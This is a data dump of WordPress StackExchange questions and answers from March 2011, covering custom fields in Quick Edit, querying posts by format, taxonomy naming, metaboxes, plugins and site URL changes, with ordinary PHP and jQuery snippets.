  <row Id="10851" PostTypeId="2" ParentId="10847" CreationDate="2011-03-01T20:43:55.330" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$('#menu-top-menu-1').children().last().each( function(){&#xA;    var endHtml = $(this).html().replace('&amp;lt;text you want to replace&amp;gt;','&amp;lt;text to replace it with&amp;gt;');         &#xA;    $(this).html(endHtml);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2011-03-01T20:43:55.330" CommentCount="1" />
  <row Id="10852" PostTypeId="2" ParentId="10849" CreationDate="2011-03-01T20:55:33.343" Score="0" ViewCount="" Body="&lt;p&gt;Did you make sure that your uploads folder (usually &lt;code&gt;wp-content/uploads&lt;/code&gt;) was writable by your local apache server?&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-01T20:55:33.343" CommentCount="5" />
  <row Id="10853" PostTypeId="1" CreationDate="2011-03-01T21:00:24.933" Score="1" ViewCount="408" Body="&lt;p&gt;I've got some custom fields that I would like a user to be able to edit in Quick Edit, I can manage the columns but I'm unable to edit them if Quick Edit is clicked current code with custom fields I'd like to be able to edit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* custom columns */&#xA;add_filter(&quot;manage_edit-programmes_columns&quot;, &quot;edit_columns&quot; );&#xA;add_action(&quot;manage_posts_custom_column&quot;, &quot;custom_columns&quot;);&#xA;&#xA;function edit_columns($columns)&#xA;{&#xA;    $columns = array(&#xA;        &quot;cb&quot; =&amp;gt; &quot;&amp;lt;input type ='checkbox' /&amp;gt;&quot;,&#xA;        &quot;title&quot; =&amp;gt; &quot;Schedule id&quot;,&#xA;        &quot;programme&quot; =&amp;gt; &quot;Programme&quot;,&#xA;        &quot;channel&quot; =&amp;gt; &quot;Channel&quot;, &#xA;        &quot;onair&quot; =&amp;gt; &quot;On Air&quot;, &#xA;        &quot;catchup&quot; =&amp;gt; &quot;Catchup&quot;, &#xA;        &quot;popularity&quot; =&amp;gt; &quot;Popularity&quot;, &#xA;        &quot;onair&quot; =&amp;gt; &quot;On Air&quot;, &#xA;        &quot;date&quot; =&amp;gt; &quot;Date&quot;&#xA;    );&#xA;    return $columns;&#xA;}&#xA;&#xA;function custom_columns( $column ) {&#xA;&#xA;    global $post;&#xA;&#xA;    switch ( $column )&#xA;    {&#xA;        case &quot;programme&quot;:&#xA;            echo get_post_meta($post-&amp;gt;ID, 'Programme Name', true);&#xA;            break;&#xA;        case &quot;channel&quot;:&#xA;            echo get_the_term_list($post-&amp;gt;ID, 'channelnames', '', ', ', '');&#xA;            break;&#xA;        case &quot;onair&quot;:&#xA;            echo get_post_meta($post-&amp;gt;ID, 'Date Time Start', true);&#xA;            break;&#xA;        case &quot;catchup&quot;:&#xA;            echo get_post_meta($post-&amp;gt;ID, 'linktovideocatchup', true);&#xA;            break;&#xA;        case &quot;popularity&quot;:&#xA;            echo get_post_meta($post-&amp;gt;ID, 'popularityfig', true);&#xA;            break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Help very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-06-30T00:19:10.073" Title="How to get and edit custom fields if in Quick Edit" Tags="&lt;custom-field&gt;&lt;quick-edit&gt;" AnswerCount="1" />
  <row Id="10854" PostTypeId="2" ParentId="10853" CreationDate="2011-03-01T21:11:37.880" Score="1" ViewCount="" Body="&lt;p&gt;A couple things, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make sure in your &lt;code&gt;save_post&lt;/code&gt; hook you're checking for &lt;code&gt;DOING_AJAX&lt;/code&gt; which is used for saving in quick-edit.&lt;/li&gt;&#xA;&lt;li&gt;Check out my other question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/7291/quick-edit-screen-customization&quot;&gt;Quick edit screen customization&lt;/a&gt;. The answer I received worked, but I haven't actually implemented it into my plugin quite yet as it's not a priority of mine &lt;em&gt;yet&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope that helps you out. ;)&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-03-01T21:11:37.880" CommentCount="4" />
  <row Id="10855" PostTypeId="1" AcceptedAnswerId="13457" CreationDate="2011-03-01T22:14:33.863" Score="4" ViewCount="801" Body="&lt;p&gt;I am trying to query for all posts with a post format of 'quote.' I have added the post formats to my functions.php with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-formats', array( 'image', 'video', 'gallery', 'quote' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have selected 'quote' as the format for the post in the admin. The last example under &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;Taxonomy_Parameters&lt;/a&gt; shows how to display posts that have the 'quote' format but when I run it in my theme no posts are returned. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;  'tax_query' =&amp;gt; array(&#xA;    array(&#xA;      'taxonomy' =&amp;gt; 'post-format',&#xA;      'field' =&amp;gt; 'slug',&#xA;      'terms' =&amp;gt; 'post-format-quote'&#xA;    )&#xA;  )&#xA;);&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I just query all posts and place &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_post_format();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the loop it returns the word 'quote' on the front-end. Also, when I var_dump() the query I do not see anything in the array about post format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if it is possible to query by post format? If so how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - See 5 comment under Bainternet's answer:&#xA;This is the code found on index.php of the twentyten theme of a fresh install trying to return format type quotes. I return 'no' instead of 'quote'. Can you see anything that I should change.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;    &amp;lt;?php $args = array(&#xA;      'tax_query' =&amp;gt; array(&#xA;        array(&#xA;          'taxonomy' =&amp;gt; 'post-format',&#xA;          'field' =&amp;gt; 'slug',&#xA;          'terms' =&amp;gt; array('quote')&#xA;        )&#xA;      )&#xA;    );&#xA;    query_posts( $args );&#xA;    if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;      echo get_post_format();&#xA;    endwhile; else:&#xA;      echo 'no';&#xA;    endif;&#xA;    wp_reset_query();      &#xA;    ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT 2 - It appears that the WordPress Codex has now changed and the portion on Taxonomy Parameters is only found in Google cache. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 3 - FINAL WORKING CODE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;  'tax_query' =&amp;gt; array(&#xA;    array(&#xA;      'taxonomy' =&amp;gt; 'post_format',&#xA;      'field' =&amp;gt; 'slug',&#xA;      'terms' =&amp;gt; 'post-format-quote'&#xA;    )&#xA;  )&#xA;);&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The twenty-ten edit form the first edit will be...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_header(); ?&amp;gt;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;    &amp;lt;?php $args = array(&#xA;      'tax_query' =&amp;gt; array(&#xA;        array(&#xA;          'taxonomy' =&amp;gt; 'post_format',&#xA;          'field'    =&amp;gt; 'slug',&#xA;          'terms'    =&amp;gt; 'post-format-quote'&#xA;        )&#xA;      )&#xA;    );&#xA;    query_posts( $args );&#xA;    if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;      the_title();&#xA;      echo get_post_format();&#xA;      echo '&amp;lt;br /&amp;gt;';&#xA;    endwhile; else:&#xA;      echo 'no';&#xA;    endif;&#xA;    wp_reset_query();      &#xA;    ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="1756" LastEditorDisplayName="" LastEditDate="2011-03-30T14:41:18.887" LastActivityDate="2011-03-30T14:41:18.887" Title="How do I query by post format in WordPress 3.1" Tags="&lt;query-posts&gt;&lt;3.1&gt;&lt;post-formats&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="10856" PostTypeId="2" ParentId="10855" CreationDate="2011-03-01T22:31:53.827" Score="2" ViewCount="" Body="&lt;p&gt;in &lt;code&gt;tax_query&lt;/code&gt; &quot;terms&quot; accepts array so you need to put &lt;code&gt;post-format-quote&lt;/code&gt; in an array like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;  'tax_query' =&amp;gt; array(&#xA;    array(&#xA;      'taxonomy' =&amp;gt; 'post-format',&#xA;      'field' =&amp;gt; 'slug',&#xA;      'terms' =&amp;gt; array('post-format-quote')&#xA;    )&#xA;  )&#xA;);&#xA;query_posts( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-01T22:31:53.827" CommentCount="5" />
  <row Id="10857" PostTypeId="1" CreationDate="2011-03-01T22:51:20.153" Score="0" ViewCount="145" Body="&lt;p&gt;I have my site using a custom permalink structure, specifically category/post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I noticed, once in the actual edit page interface I was unable to use the &quot;EDIT&quot; feature for the permalinks (i.e. the ones that are displayed under the post title.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I logged in using a different browser and it worked the first time I hit edit, then after that it stopped again. I am wondering if this is a JavaScript issue? Maybe a plugin problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can not edit the date option either on the top right either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody have this issue?&lt;/p&gt;&#xA;" OwnerUserId="2583" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-03-02T00:54:06.253" LastActivityDate="2011-04-01T16:38:56.937" Title="Can not manually change the permalink of a post in the EDIT secion" Tags="&lt;permalinks&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="10858" PostTypeId="1" CreationDate="2011-03-01T23:08:11.493" Score="0" ViewCount="340" Body="&lt;p&gt;I run a multisite install and I have removed the page attributes meta box from view for my users because I don't want them to be able to change templates. I would like them to be able to change the page parent though. I need to add a new meta box for pages that adds just the page parent selector back. &lt;/p&gt;&#xA;" LastActivityDate="2011-08-31T12:37:35.453" Title="add new metabox to page editor with just page parent" Tags="&lt;page&gt;" AnswerCount="2" />
  <row Id="10859" PostTypeId="2" ParentId="10848" CreationDate="2011-03-01T23:13:31.750" Score="1" ViewCount="" Body="&lt;p&gt;You can get the logged in users using wp_get_current_user(); . &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_current_user&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_current_user&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your probably better off just using a plugin or looking at the the following plugins code.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-useronline/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-useronline/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-01T23:13:31.750" />
  <row Id="10860" PostTypeId="2" ParentId="10833" CreationDate="2011-03-01T23:15:47.977" Score="0" ViewCount="" Body="&lt;p&gt;My first question would be how is the front end of the site responding?  If it's running ok and you are only experiencing problems on the backend I'd be concerned with my database or something to do with the update or maybe your site has been compromised by hackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the entire site is slowed down (front-end and back-end) I'd start looking hard at my hosting provider.  I experienced a similar issue and it turns out the hosting provider had issues on their end.  After much complaining we were able to get things fixed but as we grew we eventually moved to a VPS provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-01T23:15:47.977" CommentCount="1" />
  <row Id="10861" PostTypeId="2" ParentId="10841" CreationDate="2011-03-01T23:17:15.693" Score="1" ViewCount="" Body="&lt;p&gt;I have been happy with Mappress.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/mappress-google-maps-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/mappress-google-maps-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-01T23:17:15.693" CommentCount="2" />
  <row Id="10862" PostTypeId="1" CreationDate="2011-03-02T00:15:45.483" Score="0" ViewCount="32" Body="&lt;p&gt;I need a way to see my photo albums without having to scroll down for each picture.&#xA;So, is there a way to lose the Header when I open the photo album ?&#xA;Or, can the photo album open in a new window ?&#xA;Thanks, Mike&lt;/p&gt;&#xA;" OwnerUserId="3626" LastActivityDate="2011-03-02T10:19:50.517" Title="View photo album without having to scroll down for each picture" Tags="&lt;images&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10863" PostTypeId="1" AcceptedAnswerId="10865" CreationDate="2011-03-02T00:20:11.323" Score="1" ViewCount="318" Body="&lt;p&gt;I've been looking for a list all WP_Query arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks obvious, but &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query&lt;/a&gt; isn't helpful at all, &quot;post_type&quot; is mentioned only in an example, and arguments like &quot;posts_per_page&quot; aren't even there.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-03-02T10:49:56.073" LastActivityDate="2011-03-02T11:05:14.953" Title="WordPress documentation - WP_Query arguments" Tags="&lt;wp-query&gt;&lt;documentation&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="10864" PostTypeId="2" ParentId="10858" CreationDate="2011-03-02T00:20:35.320" Score="0" ViewCount="" Body="&lt;p&gt;Did just that for one of my plugins, recently...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function render($post) {&#xA;    $pages = wp_dropdown_pages(array('post_type' =&amp;gt; 'page', 'exclude_tree' =&amp;gt; $post-&amp;gt;ID, 'selected' =&amp;gt; $post-&amp;gt;post_parent, 'name' =&amp;gt; 'parent_id', 'show_option_none' =&amp;gt; __('(no parent)'), 'sort_column'=&amp;gt; 'menu_order, post_title', 'echo' =&amp;gt; 0));&#xA;    if (!empty($pages)) {&#xA;        ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('Parent') ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;label class=&quot;screen-reader-text&quot; for=&quot;parent_id&quot;&amp;gt;&amp;lt;?php _e('Landing Page') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;?php echo $pages; ?&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I implement my metaboxes as classes, hence the funny function name.&#xA;I removed the menu order field which i originally kept in my metabox. I think it's a good idea to keep it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find the original 'attributes' metabox in &lt;code&gt;wp-admin/includes/meta-boxes.php&lt;/code&gt;, btw., which is a nice library of code to have a look at if you implement custom metaboxes.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-02T00:20:35.320" CommentCount="6" />
  <row Id="10865" PostTypeId="2" ParentId="10863" CreationDate="2011-03-02T00:25:20.980" Score="4" ViewCount="" Body="&lt;p&gt;I believe &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You're right to look for it on the class documentation...i think the reason why it's on &lt;code&gt;query_posts()&lt;/code&gt; is because that (and &lt;code&gt;get_posts()&lt;/code&gt;) is meant to be the primarily used function to get posts.)&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-02T00:25:20.980" />
  <row Id="10866" PostTypeId="1" AcceptedAnswerId="10997" CreationDate="2011-03-02T00:27:42.757" Score="1" ViewCount="118" Body="&lt;p&gt;I am creating a plugin which uses a custom post type. My question is two folds:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) upon activation of my plugin how do I create the items of my custom post types. For example: if my post type was say... &quot;Best Restaurants&quot;. I want to create 10 custom post types items since my plugin will need this information. How would I do that? Is there a function I can use which adds a post item along with its custom data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and (2) When my plugin is updated, say I released a new version, what is the best way to modify this list? I was thinking of deleting all items with a certain post type and then inserting the new ones, but that might be overkill. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="413" LastActivityDate="2011-03-03T09:26:12.813" Title="Dynamically creating custom post type items and updating them" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="10868" PostTypeId="2" ParentId="10866" CreationDate="2011-03-02T00:32:07.450" Score="0" ViewCount="" Body="&lt;p&gt;For (1): use &lt;code&gt;wp_insert_post()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For (2): One idea would be to insert the posts as above and store the insert ids in an array. Then save that array as an option. When updating, read the option and do 'wp_update_post()' on these ten posts that you now have the ID of.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-02T00:32:07.450" />
  <row Id="10869" PostTypeId="1" AcceptedAnswerId="10873" CreationDate="2011-03-02T01:39:04.593" Score="0" ViewCount="59" Body="&lt;p&gt;My client isn't a great fan of updates so I want to assure him that the next major upgrade will be at least 3-4 months down the line. I just upgraded his blog to 3.1 - (YAY!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone concur with this or is this just wishful thinking on my part?&lt;/p&gt;&#xA;" OwnerUserId="3361" LastActivityDate="2011-03-02T02:49:25.920" Title="When will be the next major update for wordpress?" Tags="&lt;upgrade&gt;" AnswerCount="2" />
  <row Id="10870" PostTypeId="2" ParentId="10599" CreationDate="2011-03-02T02:04:27.633" Score="0" ViewCount="" Body="&lt;p&gt;For those of you without the required sql knowledge. The steps below can be used to change your main site url variable on a network installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assumption: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows Operating system&lt;/li&gt;&#xA;&lt;li&gt;MySQL Admin basic tasks&lt;/li&gt;&#xA;&lt;li&gt;WinGrep&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download mysql dump.sql of your full wordpress database&lt;/li&gt;&#xA;&lt;li&gt;While using wingrep find all matches for @url then replace with @newURL&lt;/li&gt;&#xA;&lt;li&gt;Upload the dump file with the new variables replaced&lt;/li&gt;&#xA;&lt;li&gt;Change your wp_config.php file to the newURL&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You are done!&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2011-03-02T02:04:27.633" />
  <row Id="10871" PostTypeId="2" ParentId="10869" CreationDate="2011-03-02T02:23:17.830" Score="1" ViewCount="" Body="&lt;p&gt;Yes, the next a major release (3.2) will take at least 3-4 months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that, there might be a minor release (3.1.1) soon.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-02T02:23:17.830" />
  <row Id="10872" PostTypeId="2" ParentId="10299" CreationDate="2011-03-02T02:26:29.237" Score="1" ViewCount="" Body="&lt;p&gt;I am glad someone else also asked this question :) I am experiencing EXACTLY same problem. Have 3000 posts, and Wordpress DB size is 100 MB (after running optimize and analyze). Please let me know if there are some optimization tips. Also, I am on a dedicated server with tons of RAM and a great CPU, so server resource is also probably not an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in my case, the slowness is all over the Wordpress Admin area, and not any specific part. Also, it is quite random in nature. So, I might get SQL timeout error in some cases, and immediately after that the website might be running perfectly fine. Many authors work on my website, so I am inclined to think that has something to do with slowness.&lt;/p&gt;&#xA;" OwnerUserId="3627" LastEditorUserId="3627" LastEditorDisplayName="" LastEditDate="2011-03-03T01:30:03.817" LastActivityDate="2011-03-03T01:30:03.817" CommentCount="2" />
  <row Id="10873" PostTypeId="2" ParentId="10869" CreationDate="2011-03-02T02:49:25.920" Score="1" ViewCount="" Body="&lt;p&gt;You may also wish to inform your client that the reason for updates is they include security fixes and patches that will only make their site better. Not running updates can have a very negative impact on their site. &lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2011-03-02T02:49:25.920" CommentCount="2" />
  <row Id="10874" PostTypeId="1" CreationDate="2011-03-02T03:06:19.907" Score="0" ViewCount="85" Body="&lt;p&gt;I am a non programmer using a wordpress site (riyachting.com)  I just discoverd that sending folks to my page with a URL that inlcudes  some other stuff in it gets stripped out so only the URL of the page remains.... i guess it's getting renamed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We want to use this link to launch a lightbox with content... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.riyachting.com#liteboxlive:station-box::href:http%3A%2F%2Fwww.marinemotion.com%2Fstations%2Friyachting%2Friy_sponsors%2Fblue-water-yachts-adds-jeanneau::referrer:http%3A%2F%2Fwww.riyachting.com&quot; rel=&quot;nofollow&quot;&gt;http://www.riyachting.com#liteboxlive:station-box::href:http%3A%2F%2Fwww.marinemotion.com%2Fstations%2Friyachting%2Friy_sponsors%2Fblue-water-yachts-adds-jeanneau::referrer:http%3A%2F%2Fwww.riyachting.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to  turn off that function so the site will accept our links.. we plan to do this all the time.&lt;/p&gt;&#xA;" LastActivityDate="2011-05-01T07:42:39.110" Title="URL renaming issue" Tags="&lt;url-rewriting&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10875" PostTypeId="1" AcceptedAnswerId="10876" CreationDate="2011-03-02T04:19:34.787" Score="0" ViewCount="207" Body="&lt;p&gt;Since 3.1 I've had an issue with custom taxonomies for a site. it seems that my user (admin level) can't edit the taxonomies from any screen. I see them on under the custom post type and can see them when adding a new post to the custom post type. I can even add currently available taxonomies to the post but I can't create new terms or access the custom taxonomy on it's edit page. Below is my code to set up the taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php add_action( 'init', 'fvww_custom_taxonomies');&#xA;&#xA;function fvww_custom_taxonomies() {&#xA;&#xA;    $labels = array(&#xA;        'name'                  =&amp;gt; __( 'River Classes', 'taxonomy general name' ),&#xA;        'singular_name'         =&amp;gt; __( 'River Class', 'taxonomy singular name' ),&#xA;        'search_items'          =&amp;gt; __( 'Search River Classes' ),&#xA;        'all_items'             =&amp;gt; __( 'All River Classes' ),&#xA;        'parent_item'           =&amp;gt; __( 'Parent Class' ),&#xA;        'parent_item_colon'     =&amp;gt; __( 'Parent Class:' ),&#xA;        'edit_item'             =&amp;gt; __( 'Edit River Class' ),&#xA;        'update_item'           =&amp;gt; __( 'Update River Class' ),&#xA;        'add_new_item'          =&amp;gt; __( 'Add New River Class' ),&#xA;        'new_item_name'         =&amp;gt; __( 'New River Class' ),&#xA;        'menu_name'             =&amp;gt; __( 'River Class' ),&#xA;    );&#xA;&#xA;    register_taxonomy( 'Class', array( 'fvww-river-guide' ), array(&#xA;        'hierarchical'              =&amp;gt; true, //operates like a category&#xA;        'labels'                    =&amp;gt; $labels,&#xA;        'rewrite'                   =&amp;gt; true,&#xA;        'public'                    =&amp;gt; true,&#xA;        'show_ui'                   =&amp;gt; true,&#xA;        )&#xA;    ); // ends class taxonomy&#xA;&#xA;} /* end function */ ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I click on the 'Class' taxonomy under River Guides I get the 'Cheatin uh?' message from wp-admin/edit-tags.php line 12.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-03-02T04:38:37.577" Title="Custom Taxonomies Cababilities" Tags="&lt;custom-taxonomy&gt;&lt;capabilities&gt;" AnswerCount="1" />
  <row Id="10876" PostTypeId="2" ParentId="10875" CreationDate="2011-03-02T04:24:27.060" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@curtismchale:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;'river-class'&lt;/code&gt; instead of &lt;code&gt;'Class'&lt;/code&gt;, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; register_taxonomy( 'river-class', array( 'fvww-river-guide' ), array(&#xA;    'hierarchical'              =&amp;gt; true, //operates like a category&#xA;    'labels'                    =&amp;gt; $labels,&#xA;    'rewrite'                   =&amp;gt; true,&#xA;    'public'                    =&amp;gt; true,&#xA;    'show_ui'                   =&amp;gt; true,&#xA;    )&#xA;); // ends class taxonomy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually what caused you to stumble was your choice of a capitalized taxonomy name &lt;em&gt;(i.e. &quot;Class&quot; vs. &quot;class&quot;)&lt;/em&gt;  although I'd really recommend against such a generic name as &lt;em&gt;&quot;class&quot;&lt;/em&gt; to avoid potential conflict which is why I suggested &lt;em&gt;&quot;river-class&quot;&lt;/em&gt; instead.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-02T04:38:37.577" LastActivityDate="2011-03-02T04:38:37.577" CommentCount="4" />
  <row Id="10877" PostTypeId="2" ParentId="9207" CreationDate="2011-03-02T04:46:05.950" Score="1" ViewCount="" Body="&lt;p&gt;Have you tried NextGEN Gallery? It may not seem like it from the outset, but it really is super powerful. I just used it in a very similar project where I've been working on flowing 3,000 consecutive images. In addition to having dynamic gallery pages, you can easily display single images from your gallery in posts via shortcode (Or via an interface; it adds some elements to the post editors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NextGEN itself ultimately acts as the image repository, from which you use shortcodes to display images/galleries/albums -- in that order of hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other great thing about it is that there are a lot of other plugins that extend it, allowing you to flow your images in a ton of different ways. It also has a really straight-forward interface once you get the hang of it, and a ton of different ways to quickly upload images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/nextgen-gallery/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-03-02T04:46:05.950" CommentCount="1" />
  <row Id="10878" PostTypeId="2" ParentId="10413" CreationDate="2011-03-02T04:56:21.293" Score="0" ViewCount="" Body="&lt;p&gt;What happens if you change the priority to, say, 11?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter(‘wp_nav_menu_objects’, ‘do_shortcode’, 11);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how the filter is added to the_content in shortcodes.php. See:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/do_shortcode&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-03-02T04:56:21.293" />
